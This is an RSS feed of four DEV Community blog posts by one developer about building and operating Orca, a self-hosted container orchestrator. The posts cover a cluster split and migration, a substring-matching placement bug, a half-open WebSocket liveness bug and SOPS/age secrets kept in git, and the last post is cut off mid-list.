<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Sharang Parnerkar</title>
    <description>The latest articles on DEV Community by Sharang Parnerkar (@mighty840).</description>
    <link>https://dev.to/mighty840</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3787721%2Fb0f05659-7097-4c46-a737-50bac1a6e824.jpg</url>
      <title>DEV Community: Sharang Parnerkar</title>
      <link>https://dev.to/mighty840</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/mighty840"/>
    <language>en</language>
    <item>
      <title>Splitting one self-hosted cluster into two, without losing a byte</title>
      <dc:creator>Sharang Parnerkar</dc:creator>
      <pubDate>Fri, 21 Aug 2026 13:49:13 +0000</pubDate>
      <link>https://dev.to/mighty840/splitting-one-self-hosted-cluster-into-two-without-losing-a-byte-177g</link>
      <guid>https://dev.to/mighty840/splitting-one-self-hosted-cluster-into-two-without-losing-a-byte-177g</guid>
      <description>&lt;p&gt;For a while I ran everything on one small orchestrator: my company's tools and my personal side projects, mixed together on shared nodes, one git repo, one object storage account. It worked, but it was the wrong shape. Personal experiments could compete with production for memory, one repo held two very different blast radii, and the bill was a single lump.&lt;/p&gt;

&lt;p&gt;So I split it. Personal services moved to their own git repo, their own cluster, their own nodes, and their own object storage project. This is part one of three: the plan and the cutover. Part two is the bug hunt that followed, and part three is the upgrade that broke everything three separate ways.&lt;/p&gt;

&lt;h2&gt;
  
  
  The setup
&lt;/h2&gt;

&lt;p&gt;The orchestrator is &lt;a href="https://github.com/mighty840/orca" rel="noopener noreferrer"&gt;orca&lt;/a&gt;, a small single-binary container orchestrator. Two facts about it shape everything below:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;It is &lt;strong&gt;declarative and it prunes&lt;/strong&gt;. A controller loop reads a directory of service definitions from git and converges the cluster to match. If you delete a service block and push, the container is removed. A &lt;code&gt;git push&lt;/code&gt; is a deploy.&lt;/li&gt;
&lt;li&gt;Ingress, TLS, and routing are built in. Each node runs a reverse proxy, and certificates are issued per domain over HTTP-01.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The new personal cluster would be two nodes: one box as the controller, and an older second box joining later as an agent. The business cluster stayed exactly where it was.&lt;/p&gt;

&lt;h2&gt;
  
  
  The mechanic that matters: reconcile prunes
&lt;/h2&gt;

&lt;p&gt;Because the controller continuously converges the cluster to git, every edit is live the moment it lands on the branch the controller watches. That is convenient and it is dangerous. The dangerous case here was moving a node that already ran personal containers from the old cluster into the new one. If I just deleted those services from the old cluster's git, the controller would happily remove the containers, and depending on how volumes were declared, the data could go with them.&lt;/p&gt;

&lt;p&gt;The trick is ordering. To hand a node from cluster A to cluster B without losing data:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Stop the agent on that node first.&lt;/strong&gt; A controller cannot act on a node it cannot reach. The containers keep running, the volumes stay put.&lt;/li&gt;
&lt;li&gt;Only then remove those services from cluster A's git. The controller drops them from desired state but physically cannot prune the now-unreachable node.&lt;/li&gt;
&lt;li&gt;Remove the old containers locally, keeping the volumes.&lt;/li&gt;
&lt;li&gt;Install the new controller, re-set the secrets, deploy. The new services reattach to the surviving volumes by name.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Downtime for the whole cutover was about half an hour, most of it TLS reissue.&lt;/p&gt;

&lt;h2&gt;
  
  
  Secrets do not travel as files
&lt;/h2&gt;

&lt;p&gt;The per-service secret store is encrypted at rest with a per-node key. Copying the encrypted file to the new controller would have produced garbage. The path that worked was to export the plaintext on the old controller, stage it, and re-import on the new one:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# on the old controller, per service&lt;/span&gt;
orca secrets get MY_KEY   &lt;span class="c"&gt;# prints the decrypted value&lt;/span&gt;

&lt;span class="c"&gt;# stage the values, then on the new controller&lt;/span&gt;
orca secrets import &lt;span class="nt"&gt;-f&lt;/span&gt; staged.env
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The values never touched a terminal I did not control, and the encrypted blobs never left their node.&lt;/p&gt;

&lt;h2&gt;
  
  
  Moving object storage without a server-side copy
&lt;/h2&gt;

&lt;p&gt;The buckets lived in one object storage project and needed to move to a separate one. There is no server-side cross-project copy on this provider, so the move was a streamed &lt;code&gt;rclone copy&lt;/code&gt;, run on a machine in the same data center as the storage so the bytes never left the region:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;rclone copy business:media personal:media &lt;span class="nt"&gt;--transfers&lt;/span&gt; 16 &lt;span class="nt"&gt;-P&lt;/span&gt;
rclone check business:media personal:media &lt;span class="nt"&gt;--one-way&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;rclone check&lt;/code&gt; reporting zero differences over several thousand objects was the green light. From there the app config pointed at the new bucket, and the old one was retired at the end.&lt;/p&gt;

&lt;h2&gt;
  
  
  The footgun: a mount that silently vanished
&lt;/h2&gt;

&lt;p&gt;One service, a &lt;a href="https://www.navidrome.org/" rel="noopener noreferrer"&gt;Navidrome&lt;/a&gt; music server, kept losing its library on every deploy. A roughly 26 GB corpus would reappear as empty. The cause was a single misplaced line in the TOML config:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight toml"&gt;&lt;code&gt;&lt;span class="nn"&gt;[[service]]&lt;/span&gt;
&lt;span class="py"&gt;name&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"navidrome"&lt;/span&gt;
&lt;span class="c"&gt;# ...&lt;/span&gt;
&lt;span class="nn"&gt;[service.volume]&lt;/span&gt;
&lt;span class="py"&gt;path&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"/data"&lt;/span&gt;
&lt;span class="py"&gt;mounts&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;"/host/music:/music"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;   &lt;span class="c"&gt;# WRONG: this is service.volume.mounts&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In TOML, a key that appears after a &lt;code&gt;[section]&lt;/code&gt; header belongs to that section. So &lt;code&gt;mounts&lt;/code&gt; here parsed as &lt;code&gt;service.volume.mounts&lt;/code&gt;, a field the orchestrator does not read. It never saw the bind, and the image's own &lt;code&gt;VOLUME&lt;/code&gt; declaration created a fresh anonymous volume every deploy. The fix was to move &lt;code&gt;mounts&lt;/code&gt; above the first sub-table so it belongs to the top-level service:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight toml"&gt;&lt;code&gt;&lt;span class="nn"&gt;[[service]]&lt;/span&gt;
&lt;span class="py"&gt;name&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"navidrome"&lt;/span&gt;
&lt;span class="py"&gt;mounts&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;"/host/music:/music"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;   &lt;span class="c"&gt;# top-level, seen by the orchestrator&lt;/span&gt;
&lt;span class="c"&gt;# ...&lt;/span&gt;
&lt;span class="nn"&gt;[service.volume]&lt;/span&gt;
&lt;span class="py"&gt;path&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"/data"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The lesson is boring and worth internalizing: in TOML, section headers are sticky. A key is owned by whatever &lt;code&gt;[table]&lt;/code&gt; most recently opened above it.&lt;/p&gt;

&lt;h2&gt;
  
  
  What made this easy
&lt;/h2&gt;

&lt;p&gt;Most of the personal subdomains already pointed at the node that was becoming the new controller, because those services already ran there. So the big cutover needed almost no DNS change. The proxy came up, HTTP-01 reissued certificates for each domain, and the sites were back. The only real DNS work was two records for services that migrated off the business box later.&lt;/p&gt;

&lt;h2&gt;
  
  
  Verification
&lt;/h2&gt;

&lt;p&gt;The checks I actually ran after deploy, in order:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Both databases present and listing their expected tables.&lt;/li&gt;
&lt;li&gt;The music bind resolving to the host path, not a fresh volume.&lt;/li&gt;
&lt;li&gt;Each domain returning a valid certificate and a 200.&lt;/li&gt;
&lt;li&gt;A trivial push producing an automatic redeploy through the webhook.&lt;/li&gt;
&lt;li&gt;The first scheduled backup landing in the new bucket.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;That last one matters. A manual backup command only proved the local leg. Only the scheduled run proved the object storage upload path end to end.&lt;/p&gt;

&lt;h2&gt;
  
  
  Next
&lt;/h2&gt;

&lt;p&gt;The cutover was the calm part. Right after it, two demo apps that share a domain started returning 404s at random, and webhook redeploys began failing with 503s. That sent me into the orchestrator's own Rust source, which is part two.&lt;/p&gt;

</description>
      <category>selfhosting</category>
      <category>devops</category>
      <category>docker</category>
      <category>homelab</category>
    </item>
    <item>
      <title>`node = "ubuntu"` matched two machines: a placement split-brain</title>
      <dc:creator>Sharang Parnerkar</dc:creator>
      <pubDate>Tue, 18 Aug 2026 13:45:35 +0000</pubDate>
      <link>https://dev.to/mighty840/node-ubuntu-matched-two-machines-a-placement-split-brain-954</link>
      <guid>https://dev.to/mighty840/node-ubuntu-matched-two-machines-a-placement-split-brain-954</guid>
      <description>&lt;p&gt;&lt;em&gt;This is part of a series on building &lt;a href="https://github.com/mighty840/orca" rel="noopener noreferrer"&gt;Orca&lt;/a&gt;, a single-binary orchestrator for the gap between Coolify and Kubernetes.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;In Orca you can pin a service to a specific machine:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight toml"&gt;&lt;code&gt;&lt;span class="nn"&gt;[service.placement]&lt;/span&gt;
&lt;span class="py"&gt;node&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"ubuntu"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Simple, obvious, and it worked fine - right up until the cluster had two nodes whose names shared a prefix: &lt;code&gt;ubuntu&lt;/code&gt; and &lt;code&gt;ubuntu-16gb-fsn1-1&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Then one push recreated &lt;em&gt;every&lt;/em&gt; pinned service on &lt;em&gt;both&lt;/em&gt; machines. Including a database. Two &lt;code&gt;Postgres&lt;/code&gt; instances, on two different hosts, both believing they were the one true copy of the same service. In production. A split-brain, born from a single line of code.&lt;/p&gt;

&lt;h2&gt;
  
  
  The one line
&lt;/h2&gt;

&lt;p&gt;The placement matcher did this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;node&lt;/span&gt;&lt;span class="py"&gt;.address&lt;/span&gt;&lt;span class="nf"&gt;.contains&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pin&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="cm"&gt;/* schedule here */&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;contains&lt;/code&gt;. A substring test. &lt;code&gt;"ubuntu-16gb-fsn1-1".contains("ubuntu")&lt;/code&gt; is &lt;code&gt;true&lt;/code&gt;. So a pin of &lt;code&gt;"ubuntu"&lt;/code&gt; matched both nodes, and every service pinned to &lt;code&gt;ubuntu&lt;/code&gt; got scheduled onto both.&lt;/p&gt;

&lt;p&gt;Worse: &lt;em&gt;which&lt;/em&gt; node "won" a plain deploy was decided by &lt;code&gt;HashMap&lt;/code&gt; iteration order - non-deterministic across restarts. So the behavior wasn't even consistently wrong. It was randomly wrong, which is the most expensive kind.&lt;/p&gt;

&lt;p&gt;Substring matching on an identity is one of those bugs that looks completely reasonable in the diff and is a landmine in the field. It works in every test you write, because your test nodes have distinct names. It only detonates when someone, months later, names a second node with an overlapping prefix - which is exactly the kind of thing people do.&lt;/p&gt;

&lt;h2&gt;
  
  
  The fix: exact identity, and refuse to guess
&lt;/h2&gt;

&lt;p&gt;Two changes, and the second matters more than the first.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;One - match exact identity, never a substring.&lt;/strong&gt; A pin now matches a node only if it equals the node's id, its full &lt;code&gt;ip:port&lt;/code&gt; address, the host portion of that address, or its hostname label. &lt;code&gt;"ubuntu"&lt;/code&gt; matches the node named &lt;code&gt;ubuntu&lt;/code&gt; and &lt;em&gt;only&lt;/em&gt; that node.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Two - when a pin is ambiguous, refuse.&lt;/strong&gt; This is the real lesson. If a pin somehow matches more than one node, the old code picked one (arbitrarily). The new code &lt;strong&gt;fails the deploy loudly&lt;/strong&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;placement pin "ubuntu" matches multiple nodes: 1 (10.0.0.1), 2 (10.0.0.2)
- refusing to schedule; make the pin unique
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And if a pin matches &lt;em&gt;nothing&lt;/em&gt; - a decommissioned node, a typo - it also refuses, instead of silently falling through to "just run it on the master." That silent fallback was its own latent bug: a mistyped pin would quietly deploy your service to the wrong machine and everything would look fine until it very much wasn't.&lt;/p&gt;

&lt;p&gt;The principle is &lt;strong&gt;refuse, don't guess.&lt;/strong&gt; An orchestrator that guesses when it's uncertain will eventually guess wrong at 3am, silently, in a way you find out about from a customer. An orchestrator that refuses hands you a clear error at deploy time, when you're right there watching. A loud failure you see beats a quiet success you don't.&lt;/p&gt;

&lt;h2&gt;
  
  
  The part I got wrong on the way
&lt;/h2&gt;

&lt;p&gt;Here's the honest bit. When I shipped the exact-match fix, I audited the production config to make sure every existing pin still resolved. I checked the pins against the node &lt;em&gt;addresses&lt;/em&gt; I had in memory - &lt;code&gt;217.154.26.121:9443&lt;/code&gt; and friends - and concluded they were fine.&lt;/p&gt;

&lt;p&gt;They weren't. Agents register with a &lt;code&gt;hostname:port&lt;/code&gt; address, not &lt;code&gt;ip:port&lt;/code&gt;. So the ten pins that used a bare IP suddenly matched nothing, and - thanks to the new "refuse, don't guess" behavior - those deploys started failing loudly.&lt;/p&gt;

&lt;p&gt;Which was, ironically, the system working exactly as designed. The fix caught a real config problem (pins pointing at an identity the node doesn't actually register under) instead of silently papering over it. The remedy was to add peer-IP matching so IP pins work regardless of what the agent self-reports - but the meta-lesson stuck: &lt;strong&gt;audit against what the system actually stores, not against what you assume it stores.&lt;/strong&gt; My mental model of the node addresses was wrong, and only the exact-match refusal surfaced it.&lt;/p&gt;

&lt;h2&gt;
  
  
  Two rules I'd tattoo on a junior engineer
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Never substring-match an identity.&lt;/strong&gt; Names, ids, addresses - compare them whole. The prefix collision is always coming; it's just a question of when.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Refuse when you're not sure.&lt;/strong&gt; Ambiguity and "no match" are not edge cases to paper over with a default. They're exactly the moments to stop and shout, because a wrong guess in placement means your database is running in two places.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The whole thing was maybe forty lines of code to fix. The split-brain it prevents is unbounded. That ratio - tiny fix, huge blast radius avoided - is most of what infrastructure work actually is.&lt;/p&gt;

</description>
      <category>rust</category>
      <category>devops</category>
      <category>distributed</category>
      <category>debugging</category>
    </item>
    <item>
      <title>The WebSocket session that was dead for 10 days - and my dashboard said 'healthy'</title>
      <dc:creator>Sharang Parnerkar</dc:creator>
      <pubDate>Fri, 14 Aug 2026 14:16:34 +0000</pubDate>
      <link>https://dev.to/mighty840/the-websocket-session-that-was-dead-for-10-days-and-my-dashboard-said-healthy-4oom</link>
      <guid>https://dev.to/mighty840/the-websocket-session-that-was-dead-for-10-days-and-my-dashboard-said-healthy-4oom</guid>
      <description>&lt;p&gt;&lt;em&gt;This is part of a series on building &lt;a href="https://github.com/mighty840/orca" rel="noopener noreferrer"&gt;Orca&lt;/a&gt;, a single-binary orchestrator for the gap between Coolify and Kubernetes.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Here's the incident, cold:&lt;/p&gt;

&lt;p&gt;A worker node in my cluster had a control-plane WebSocket session to the master that had been &lt;strong&gt;dead since the 7th&lt;/strong&gt;. It was the 17th. For ten days, every deploy targeting that node timed out with &lt;code&gt;agent did not acknowledge within 10s&lt;/code&gt;. And the entire time, the node showed up &lt;strong&gt;green&lt;/strong&gt; in the dashboard. Its heartbeats were flowing. &lt;code&gt;orca status&lt;/code&gt; cheerfully reported a service as &lt;code&gt;1/1 running&lt;/code&gt; - a container that had, in fact, been crashed for fourteen hours.&lt;/p&gt;

&lt;p&gt;Nothing was on fire. Nothing was alerting. The system was lying to me with a completely straight face, and it had been for a week and a half.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why the node looked alive
&lt;/h2&gt;

&lt;p&gt;The master↔agent link is a WebSocket. The agent sends a heartbeat every 5 seconds; the master pushes a status ping every 30. The master tracks connected agents in a map keyed by node id. Simple.&lt;/p&gt;

&lt;p&gt;The bug is that &lt;strong&gt;liveness was inferred from two different things that aren't the same thing.&lt;/strong&gt; Heartbeats proved the agent &lt;em&gt;process&lt;/em&gt; was alive. But deploys were dispatched over the &lt;em&gt;WebSocket session&lt;/em&gt;. And those are only the same as long as the socket is actually open.&lt;/p&gt;

&lt;p&gt;Then came a half-open TCP connection. The agent's box dropped off the network in a way that sent no FIN, no RST - a NAT conntrack timeout, a VM freeze, the kind of unclean disappearance that's depressingly common. On the master's side, the read on that socket just... blocked. Forever. No error. The session stayed in the connected map. Every status ping the master sent went into a kernel send buffer and evaporated.&lt;/p&gt;

&lt;p&gt;Meanwhile the agent, on &lt;em&gt;its&lt;/em&gt; side, was in the exact same state: its read blocked forever, and its 5-second heartbeat writes succeeded into a dead send buffer that would only surface an error after the TCP retransmit timeout - about fifteen minutes later, if ever.&lt;/p&gt;

&lt;p&gt;So both ends believed they were connected. The map said "connected." And there was a rule - added to fix an &lt;em&gt;earlier&lt;/em&gt; bug - that a node with a live session must never be pruned, no matter how stale its heartbeat. That rule was correct in spirit and catastrophic in practice, because "has an entry in the map" was being treated as proof of life. A zombie session is immortal under that rule.&lt;/p&gt;

&lt;h2&gt;
  
  
  The three prior "fixes" that missed
&lt;/h2&gt;

&lt;p&gt;This was the fourth time this class of bug had bitten. Each previous fix had patched a &lt;em&gt;symptom&lt;/em&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;One stopped a node from being wrongly pruned while connected.&lt;/li&gt;
&lt;li&gt;One improved the timeout error message.&lt;/li&gt;
&lt;li&gt;One handled stale service state.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Every one of them treated a consequence. None of them touched the disease, which was this: &lt;strong&gt;node liveness was tracked separately from the channel the master actually dispatches over.&lt;/strong&gt; As long as those were two different sources of truth, a half-open socket could always desync them.&lt;/p&gt;

&lt;h2&gt;
  
  
  The fix: liveness &lt;em&gt;is&lt;/em&gt; the deploy channel
&lt;/h2&gt;

&lt;p&gt;The permanent fix was to stop having two definitions of "alive." A session is alive if and only if it's carrying traffic. And here's the nice part - both sides &lt;em&gt;already&lt;/em&gt; generate regular traffic (5s heartbeats, 30s pings), so I didn't need a new protocol at all. I just needed to &lt;em&gt;enforce a deadline on it&lt;/em&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Master&lt;/strong&gt;: each session's read loop runs under a read-idle deadline (30s, configurable). Silence past the deadline means the socket is half-open. Tear the session down: remove it from the map, drop the node's placeholder service state, mark it unreachable.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Agent&lt;/strong&gt;: a 90-second read-idle deadline (three missed pings). A half-dead socket breaks the loop, and the existing backoff-reconnect takes over. No human, no restart.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;A missed deploy ACK now has consequences.&lt;/strong&gt; It doesn't just error - it kills the session, on the theory that an agent that can't ACK a deploy over the channel isn't really connected. The next deploy fails fast with "unreachable until it rejoins" instead of re-timing-out against a corpse.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The stale &lt;code&gt;1/1 running&lt;/code&gt; fixed itself as a &lt;em&gt;consequence&lt;/em&gt;: placeholder state only exists while a live session refreshes it, so when the session dies, the placeholders die with it. The system can no longer report confident, hours-old lies, because the state that would tell the lie is gone.&lt;/p&gt;

&lt;h2&gt;
  
  
  The test that would have caught it
&lt;/h2&gt;

&lt;p&gt;The reason this bug survived three fixes is that nobody had written the test that actually reproduces it. Killing a process is easy to test. A &lt;em&gt;half-open socket&lt;/em&gt; is the hard case - the peer is gone but the TCP connection is still open. So the regression test does exactly that: it connects, then goes completely silent while holding the socket open, and asserts the master tears the session down within the deadline.&lt;/p&gt;

&lt;p&gt;If your liveness check can't survive that test, it isn't a liveness check. It's a process check wearing a liveness check's clothes.&lt;/p&gt;

&lt;h2&gt;
  
  
  The lesson
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Prove the thing you actually depend on, not a proxy for it.&lt;/strong&gt; Heartbeats proved the process was up. I was deploying over the socket. Those were different questions, and the gap between them was a ten-day outage that never alerted.&lt;/p&gt;

&lt;p&gt;The follow-on lesson is about recurrence: when the same class of bug bites more than twice, stop patching symptoms and go find the shared assumption underneath. Mine was "an entry in the connected map means the node is reachable." Once that assumption was false-by-construction - because a silent session gets torn down - the entire family of bugs closed at once.&lt;/p&gt;

&lt;p&gt;It's been running in production since, and it's already earned its keep: when I decommissioned a node, its services dropped cleanly out of &lt;code&gt;status&lt;/code&gt; instead of lingering as ghosts. The machinery told the truth about a node leaving. After ten days of it lying about a node staying, that felt like a real win.&lt;/p&gt;

</description>
      <category>rust</category>
      <category>debugging</category>
      <category>distributed</category>
      <category>devops</category>
    </item>
    <item>
      <title>Secrets that live in git - encrypted, no Vault, no sidecar</title>
      <dc:creator>Sharang Parnerkar</dc:creator>
      <pubDate>Tue, 11 Aug 2026 14:21:39 +0000</pubDate>
      <link>https://dev.to/mighty840/secrets-that-live-in-git-encrypted-no-vault-no-sidecar-4ia5</link>
      <guid>https://dev.to/mighty840/secrets-that-live-in-git-encrypted-no-vault-no-sidecar-4ia5</guid>
      <description>&lt;p&gt;&lt;em&gt;This is part of a series on building &lt;a href="https://github.com/mighty840/orca" rel="noopener noreferrer"&gt;Orca&lt;/a&gt;, a single-binary orchestrator for the gap between Coolify and Kubernetes.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Every orchestrator eventually has to answer: where do the secrets go?&lt;/p&gt;

&lt;p&gt;The default industry answer is "run a secret manager" - Vault, or a cloud KMS, or Infisical. And for a while, that's what Orca did too. It shipped a managed Infisical sidecar. Then one day I sat down to draw the dependency graph and realized the whole thing was eating its own tail.&lt;/p&gt;

&lt;h2&gt;
  
  
  The circular dependency nobody mentions
&lt;/h2&gt;

&lt;p&gt;Think about it. Your orchestrator deploys your services. Your services need secrets. So the orchestrator runs a secret manager to hold them. But the secret manager is &lt;em&gt;itself&lt;/em&gt; a service - it needs to be deployed, it has its own config, its own credentials, its own availability requirements. Who deploys the thing that holds the secrets for the things you deploy?&lt;/p&gt;

&lt;p&gt;You've created a bootstrap problem and an availability coupling in one move. If the secret manager is down, deploys fail. If it's slow, deploys are slow. And you've added a stateful service to operate &lt;em&gt;specifically so you could avoid operating stateful services carefully.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;For a tool whose whole pitch is "no hidden dependencies," that was untenable. So I ripped it out and replaced it with something that has no moving parts at all.&lt;/p&gt;

&lt;h2&gt;
  
  
  Secrets as an encrypted file in your repo
&lt;/h2&gt;

&lt;p&gt;The GitOps world already solved this, and the answer is &lt;a href="https://github.com/getsops/sops" rel="noopener noreferrer"&gt;SOPS&lt;/a&gt; + &lt;a href="https://github.com/FiloSottile/age" rel="noopener noreferrer"&gt;age&lt;/a&gt;. Here's the shape of it in Orca:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Secrets live in a single &lt;strong&gt;SOPS-format JSON file&lt;/strong&gt; committed to your config repo, right next to your &lt;code&gt;service.toml&lt;/code&gt;s.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Keys stay in plaintext; only values are encrypted.&lt;/strong&gt; So a &lt;code&gt;git diff&lt;/code&gt; on a secret change shows you &lt;em&gt;which&lt;/em&gt; secret changed - just not its value. That readability is the entire reason to prefer SOPS over an opaque encrypted blob.&lt;/li&gt;
&lt;li&gt;Values are encrypted to &lt;strong&gt;age recipients&lt;/strong&gt; - the master's key &lt;em&gt;and&lt;/em&gt; your personal offline key. Multi-recipient means you can always decrypt the file locally for recovery, completely independent of whether the master is up.&lt;/li&gt;
&lt;li&gt;The master &lt;strong&gt;decrypts in-process&lt;/strong&gt; at load. No &lt;code&gt;sops&lt;/code&gt; or &lt;code&gt;age&lt;/code&gt; binary is invoked at runtime; it's a Rust library call.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Configuring it is one block:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight toml"&gt;&lt;code&gt;&lt;span class="nn"&gt;[secrets]&lt;/span&gt;
&lt;span class="py"&gt;encrypted_file&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"secrets.enc.json"&lt;/span&gt;            &lt;span class="c"&gt;# lives in the config repo&lt;/span&gt;
&lt;span class="py"&gt;age_key_file&lt;/span&gt;   &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"/root/.config/orca/age.key"&lt;/span&gt;  &lt;span class="c"&gt;# master identity, kept OUT of git&lt;/span&gt;
&lt;span class="py"&gt;age_recipients&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;"age1master…"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"age1operator…"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And using a secret is the same &lt;code&gt;${secrets.KEY}&lt;/code&gt; reference it always was - nothing about the service config changed.&lt;/p&gt;

&lt;h2&gt;
  
  
  The properties that fall out of this
&lt;/h2&gt;

&lt;p&gt;This design isn't just "fewer services." It buys real properties:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Recovery is trivial.&lt;/strong&gt; The disaster-recovery story for a secret manager is a runbook. Here it's a sentence: &lt;em&gt;have the git repo and the age key.&lt;/em&gt; You can &lt;code&gt;sops -d secrets.enc.json&lt;/code&gt; on your laptop and read everything. Orca doesn't need to be running, or even to exist, for you to get your secrets back.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Diffs stay honest.&lt;/strong&gt; Because keys are plaintext, code review works. A PR that rotates &lt;code&gt;db_password&lt;/code&gt; shows &lt;code&gt;db_password&lt;/code&gt; changed. A PR that adds a new secret shows the new key. You review secret &lt;em&gt;changes&lt;/em&gt; the same way you review config changes.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;It's GitOps-native.&lt;/strong&gt; The secrets file is just another file the reconciler converges on. When you &lt;code&gt;orca secrets set&lt;/code&gt;, the master re-encrypts the file and commits + pushes it, so the repo stays the source of truth. (That write-back had a subtlety - if the master mutates the file but doesn't push, a later &lt;code&gt;git pull&lt;/code&gt; could silently revert a secret. So the mutation path commits and pushes, with a &lt;code&gt;pull --rebase&lt;/code&gt; retry. Getting that loop right mattered more than the crypto.)&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Project scoping for free.&lt;/strong&gt; Store a secret as &lt;code&gt;myproject.db_url&lt;/code&gt; and it scopes to that project - a service in &lt;code&gt;myproject&lt;/code&gt; resolves &lt;code&gt;${secrets.db_url}&lt;/code&gt; to the scoped value first, falling back to a global one. One flat file, prefix keys, no new machinery.&lt;/p&gt;

&lt;h2&gt;
  
  
  The honest caveats
&lt;/h2&gt;

&lt;p&gt;Two things I'd want a reader to know before adopting this:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The in-process decryption relies on a pure-Rust SOPS implementation, which is young. I pin the version and round-trip test against files written by the real &lt;code&gt;sops&lt;/code&gt; CLI, precisely because "trust me it's compatible" isn't good enough for the thing holding your database passwords.&lt;/li&gt;
